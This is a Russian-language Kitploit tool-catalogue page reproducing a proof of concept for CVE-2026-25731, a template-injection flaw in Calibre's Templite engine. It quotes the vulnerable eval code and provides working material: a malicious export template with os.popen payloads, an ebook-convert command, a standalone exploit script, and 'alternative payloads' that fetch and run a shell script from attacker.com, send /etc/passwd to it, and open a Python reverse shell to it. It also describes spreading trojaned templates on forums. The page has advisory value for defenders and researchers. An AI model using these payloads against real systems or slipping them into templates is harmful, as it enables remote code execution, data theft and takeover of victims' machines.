Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25731 — Доказательство концепции для уязвимости Server-Side Template Injection (SSTI) в движке Templite приложения Calibre (GHSA-xrh9-w7qx-3gcc). Демонстрирует произвольное выполнение Python-кода через пользовательские HTML-шаблоны экспорта в затронутых версиях (≤ 9.1.0). | Kitploit
Инструменты/GitHubGitHub/dxleryt/cve-2026-25731
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной Нагрузки
GitHubdxleryt/cve-2026-25731

CVE-2026-25731

Доказательство концепции для уязвимости Server-Side Template Injection (SSTI) в движке Templite приложения Calibre (GHSA-xrh9-w7qx-3gcc). Демонстрирует произвольное выполнение Python-кода через пользовательские HTML-шаблоны экспорта в затронутых версиях (≤ 9.1.0).

Репозиторий
56 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость Server-Side Template Injection (SSTI) в движке Templite

Серьёзность: Высокая (CVSS 7.8)

Затронутое ПО: calibre <= 9.1.0

Исправлено в версии: 9.2.0

Уведомление: GHSA-xrh9-w7qx-3gcc

Краткое описание

Уязвимость Server-Side Template Injection (SSTI) в шаблонизаторе Templite в Calibre позволяет выполнять произвольный код при конвертации электронной книги с использованием вредоносного пользовательского файла шаблона через параметры командной строки --template-html или --template-html-index.

Подробности

Движок Templite (src/templite/__init__.py) компилирует и выполняет шаблоны с помощью функций Python compile() и без какой-либо песочницы:

eval()

Уязвимый код в src/templite/__init__.py:

root@kitploit:~
# Строка 72: Шаблон компилируется в код Python
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Строка 90: Скомпилированный код выполняется через eval()
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Выполнение произвольного кода

Вектор атаки в src/calibre/ebooks/conversion/plugins/html_output.py:

root@kitploit:~
# Строки 96-98: Загружается файл шаблона, предоставленный пользователем
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Строка 136: Шаблон передаётся в уязвимый движок Templite
templite = Templite(template_html_index_data)

Аналогичный шаблон существует и для параметра --template-html (строки 102-106, 200).

PoC

1. Создание вредоносного файла шаблона

Сохраните следующее как malicious_template.tmpl:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Вредоносный шаблон</title></head>
<body>
<h1>Книга сконвертирована!</h1>
<!-- SSTI-пейлоад выполняет произвольные команды -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

2. Выполнение конвертации электронной книги с вредоносным шаблоном

root@kitploit:~
# Конвертация любой электронной книги с использованием вредоносного шаблона
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl

3. Проверка выполнения кода

root@kitploit:~
cat /tmp/pwned.txt
# Вывод: uid=501(username) gid=20(staff) groups=...

Альтернативные пейлоады

root@kitploit:~
# Выполнение команд
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# Экфильтрация файлов
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Обратная оболочка
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

Автономная проверка

root@kitploit:~
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# Выполнение команд
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("Пользователь:", t.render())  # Выводит имя текущего пользователя

# Чтение файла
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("Файл:", t.render())  # Выводит первую строку /etc/passwd

Влияние

Кто затронут:

  • Пользователи, которые скачивают и используют сторонние HTML-шаблоны экспорта
  • Пользователи, использующие шаблоны, опубликованные на форумах, GitHub или других ресурсах
  • Системы, работающие с Calibre в автоматизированных конвейерах с шаблонами, предоставленными пользователем

Сценарий атаки:

  1. Злоумышленник создаёт шаблон HTML, который выглядит легитимно, со встроенным SSTI-пейлоадом
  2. Злоумышленник публикует шаблон на форумах Calibre, Reddit или GitHub
  3. Жертва скачивает шаблон и использует его: ebook-convert book.epub out.zip --template-html=template.tmpl
  4. Произвольный код выполняется с правами жертвы
Скачать инструмент